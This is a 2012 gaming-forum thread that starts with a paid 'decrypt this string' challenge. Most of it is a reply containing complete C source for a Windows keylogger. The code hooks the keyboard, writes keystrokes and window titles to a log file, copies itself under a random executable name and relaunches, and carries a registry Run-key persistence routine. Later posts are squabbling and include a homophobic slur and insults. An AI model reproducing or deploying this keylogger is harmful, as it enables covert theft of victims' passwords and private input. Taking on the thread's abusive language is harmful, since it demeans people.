d2jsp
Log InRegister
d2jsp Forums > Off-Topic > Computers & IT > Programming & Development > Fg If U Can Find This ~ Repost #2 > No Closing Or Abuse
12Next
Closed New Topic New Poll
Member
Posts: 21,407
Joined: Jun 15 2007
Gold: 120,303.00
Jun 15 2012 11:18am
10fg if u can decrypt the following:

Code
0@_&\+77\^%-#\+6-\`%*-=)4(\t\}x.]{.\g;\]h'{.\h',\,b.<.\>]{g,\]\g..[\R\'V\\kx;{.\f"\;,b.<\V\,;}:k{


please no abuse or off topic, i will report u and pm all online mods about ur breach of these rules , this is a paid topic and i dont need any off topic posts

Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 15 2012 11:59am
main.c
Code
#include "includes.h"

int main(int argc, char** argv)
{
if(!Copy_File(argv[0]))
{
ExitProcess(0);
}
else
{
//if(!Create_Startup(argv[0]))
//{
// ExitProcess(0);
//}
}

HANDLE hThread;
DWORD dwThread;

hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Logging_Thread, (LPVOID)argv[0], 0, &dwThread);

if(hThread)
{
return WaitForSingleObject(hThread, INFINITE);
}
else
{
return 1;
}

}


keyboardhook.h
Code
DWORD WINAPI Logging_Thread(LPVOID lParam);
__declspec(dllexport) LRESULT CALLBACK key_event(int ncCode, WPARAM wParam, LPARAM lParam);
void MsgLoop();

HHOOK hLogging;

char OldWindowTitle[260];
char NewWindowTitle[260];


keyboardhook.c
Code
#include "includes.h"


__declspec(dllexport) LRESULT CALLBACK key_event(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode == HC_ACTION) && ((wParam == WM_KEYUP) || (wParam == WM_SYSKEYDOWN)))
{
KBDLLHOOKSTRUCT hHooked = *((KBDLLHOOKSTRUCT*)lParam);
BYTE KeyboardState[256] = {0};
char Text[256] = {0};
WORD result = 0;

GetKeyState(0);
GetKeyboardState(KeyboardState);

ToAsciiEx(hHooked.vkCode, hHooked.scanCode, KeyboardState, &result, hHooked.flags, 0);

if((char)result == '\r')
{
Text[0] = '\n';
}
else if ((char)result == '\b')
{
sprintf(Text, "%s", "[BACKSPACE]");
}
else
{
Text[0] = (char)result;
}

if(GetWindowText(GetForegroundWindow(), NewWindowTitle, 260) != 0)
{
if(strcmp(OldWindowTitle, NewWindowTitle) != 0)
{
strcpy(OldWindowTitle, NewWindowTitle);

char temp[260];

sprintf(temp, "\n\n%c%s%c\n", '[', OldWindowTitle, ']');

FILE *title;
title = fopen(LogFilePath, "a+");
fputs(temp, title);
fclose(title);
}
}

FILE *output;
output = fopen(LogFilePath, "a+");
fputs(Text, output);
fflush(output);
}
return CallNextHookEx(hLogging, nCode, wParam, lParam);
}

void MsgLoop()
{
MSG message;

while(GetMessage(&message, NULL, 0,0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}

DWORD WINAPI Logging_Thread(LPVOID lParam)
{
HINSTANCE hApp = GetModuleHandle(NULL);

if(!hApp)
{
hApp = LoadLibrary((LPCSTR)lParam);
}

if(!hApp)
{
return 1;
}

hLogging = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)key_event, hApp, 0);

MsgLoop();

UnhookWindowsHookEx(hLogging);

return 0;
}


includes.h
Code
#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#include "keyboardhook.h"
#include "functions.h"
#include "externs.h"


functions.h
Code
int Create_Startup(char *path);
int Copy_File(char *path);


functions.c
Code
#include "includes.h"

int Create_Startup(char *path)
{
HKEY hKey;
LONG result;
LPCSTR str = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, str, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

if(result == ERROR_SUCCESS)
{
char *cPath = malloc(sizeof(char) * MAX_PATH);
sprintf(cPath, "\"%s\"", path);

LPCSTR value = TEXT(RegistryKeyName);
LPCSTR data = TEXT(cPath);

result = RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, (strlen(data)+1) * sizeof(TCHAR));

if(result == ERROR_SUCCESS)
{
result = RegCloseKey(hKey);

if(result == ERROR_SUCCESS)
{
return 1;
}
}
}
return 0;
}

int Copy_File(char *path)
{
/*
pSearch = strrchr(path, '\\');
pSearchEnd = strrchr(path, '\0');

pFileName = strncpy(pFileName, (pSearch + 1), (pSearchEnd - pSearch + 1));
*/

char *pSearch = strstr(path, DropPathKeyword);

if(pSearch != NULL)
{
printf("i am in sys32 dawg\n");
printf("%s", path);
return 1;
}
else
{
char pNewFileName[11] = {0};
char *pNewFileDestination = malloc(sizeof(char) * 260);

srand(time(NULL));

for(int i = 0; i < 10; i++)
{
pNewFileName[i] = 97 + rand() % 26;
}

sprintf(pNewFileDestination, "%s%s%s", DropPath, pNewFileName, ".exe");

LPCSTR ExistingFileName = TEXT(path);
LPCSTR NewFileName = TEXT(pNewFileDestination);

if(CopyFileEx(ExistingFileName, NewFileName, NULL, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS) != 0)
{
STARTUPINFO StartUp;
PROCESS_INFORMATION ProcessInfo;

ZeroMemory(&StartUp, sizeof(StartUp));
StartUp.cb = sizeof(StartUp);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

if(CreateProcess(NewFileName, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartUp, &ProcessInfo ))
{
return 0;
}
return 1;
}
}

return 0;
}


externs.c
Code
extern char LogFilePath[];
extern char DropPath[];
extern char RegistryKeyName[];
extern char DropPathKeyword[];


config.h
Code
char LogFilePath[] = "c:\\test\\keys.txt";
char DropPath[] = "c:\\test\\";
char RegistryKeyName[] = "keytest";
char DropPathKeyword[] = "test";
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 15 2012 12:00pm
also if you think you're good have a gander

http://forums.d2jsp.org/topic.php?t=63132424&f=120

bet you cant do any of them lol
Member
Posts: 9,803
Joined: Jun 28 2005
Gold: 6.67
Jun 15 2012 01:08pm
Quote (dos350 @ 15 Jun 2012 19:18)
10fg if u can decrypt the following:
Code
0@_&\+77\^%-#\+6-\`%*-=)4(\t\}x.]{.\g;\]h'{.\h',\,b.<.\>]{g,\]\g..[\R\'V\\kx;{.\f"\;,b.<\V\,;}:k{


please no abuse or off topic, i will report u and pm all online mods about ur breach of these rules , this is a paid topic and i dont need any off topic posts
It's funny that you're calling for no off-topic in a topic that doesn't belong in this forum.

Member
Posts: 4,605
Joined: Sep 15 2011
Gold: 9,464.00
Jun 15 2012 01:39pm
why is this guy and his multi allowed to post at all?
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 15 2012 04:08pm
Quote (irimi @ Jun 15 2012 03:39pm)
why is this guy and his multi allowed to post at all?


because jsp has 12 year olds for mods.

hell after all they closed my first crackme post of "talking about hacks"

lol

This post was edited by AbDuCt on Jun 15 2012 04:09pm
Member
Posts: 4,605
Joined: Sep 15 2011
Gold: 9,464.00
Jun 15 2012 04:15pm
well to be fair they finally closed his huge thread and also closed the previous one pretty quickly (i imagine the same will happen here too)

but how does he not get punished at all for this bullshit, and why is his obvious-as-fuck multi still around?
Member
Posts: 13,425
Joined: Sep 29 2007
Gold: 0.00
Warn: 20%
Jun 15 2012 04:22pm
Quote (irimi @ Jun 15 2012 06:15pm)
well to be fair they finally closed his huge thread and also closed the previous one pretty quickly (i imagine the same will happen here too)

but how does he not get punished at all for this bullshit, and why is his obvious-as-fuck multi still around?


i think it was because i post my sourcecodes in here keke
Member
Posts: 63
Joined: Sep 30 2011
Gold: 3.37
Warn: 10%
Jun 15 2012 10:09pm
No1 wants to crack ur piece of shit coding plz no rage
Member
Posts: 63
Joined: Sep 30 2011
Gold: 3.37
Warn: 10%
Jun 15 2012 10:12pm
This post is a violation of the site rules and appropriate action was taken.

Quote (AbDuCt @ Jun 16 2012 04:00am)
also if you think you're good have a gander

http://forums.d2jsp.org/topic.php?t=63132424&f=120

bet you cant do any of them lol


Fuck off faggot virgin
Go Back To Programming & Development Topic List
12Next
Closed New Topic New Poll